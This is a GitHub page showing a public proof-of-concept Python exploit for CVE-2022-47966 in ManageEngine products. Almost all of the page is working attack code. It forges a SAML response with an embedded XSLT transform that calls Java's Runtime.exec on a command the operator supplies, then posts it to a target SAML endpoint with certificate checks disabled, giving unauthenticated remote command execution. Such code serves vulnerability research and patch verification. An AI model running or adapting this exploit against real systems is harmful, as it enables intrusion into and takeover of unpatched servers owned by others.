


 horizon3ai / CVE-2022-47966


Public


 Notifications


 Fork 32


 Star 124


<> Code


 Pull requests


 Actions


 Projects


 Security


 Insights


 Files

 3a51c6b





 Go to file


 CVE-2022-47966.py

 README.md

CVE-2022-47966 / CVE-2022-47966.py






 James Horseman

add AD usage

e3de3b4 · last year


 History


Code


Blame

61 lines (56 loc) · 3.11 KB

Raw







```
1 import urllib3
2 import base64
3 import requests
4 import argparse
5
6 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7
8 parser = argparse.ArgumentParser(description='ManageEngine CVE-2022-47966')
9 parser.add_argument('--url', type=str, required=True, help='Target SAML endpoint')
10 parser.add_argument('--command', type=str, required=True, help="Argument to Java's Runt
11 parser.add_argument('--issuer', type=str, required=False, default="issuer", help="Issue
12 args = parser.parse_args()
13
14 url = args.url
15 command = args.command
16 issuer = args.issuer
17
18 saml = f"""<?xml version="1.0" encoding="UTF-8"?>
19 <samlp:Response
20 ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"
21 InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"
22 IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc
23 <samlp:Status>
24 <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
25 </samlp:Status>
26 <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"
27 IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAM
28 <Issuer>{issuer}</Issuer>
29 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
30 <ds:SignedInfo>
31 <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
32 <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha25
33 <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
34 <ds:Transforms>
35 <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
36 <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
37 <xsl:stylesheet version="1.0"
38 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
39 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl
40 <xsl:template match="/">
41 <xsl:variable name="rtobject" select="rt:getRuntime()" />
42 <xsl:variable name="process" select="rt:exec($rtobject, '{command}')" />
43 <xsl:variable name="processString" select="ob:toString($process)" />
44 <xsl:value-of select="$processString" />
45 </xsl:template>
46 </xsl:stylesheet>
47 </ds:Transform>
48 </ds:Transforms>
49 <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmenc#sha256" />
50 <ds:DigestValue>H7gKu06t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
51 </ds:Reference>
52 </ds:SignedInfo>
53 <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnC1Foh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zx
54 <ds:KeyInfo/>
55 </ds:Signature>
56 </Assertion>
57 </samlp:Response>
```

```
57         </samlp:response>
58         """
59
60         d = {'SAMLResponse': base64.b64encode(saml.encode())}
61         requests.post(url, data=d, verify=False)
```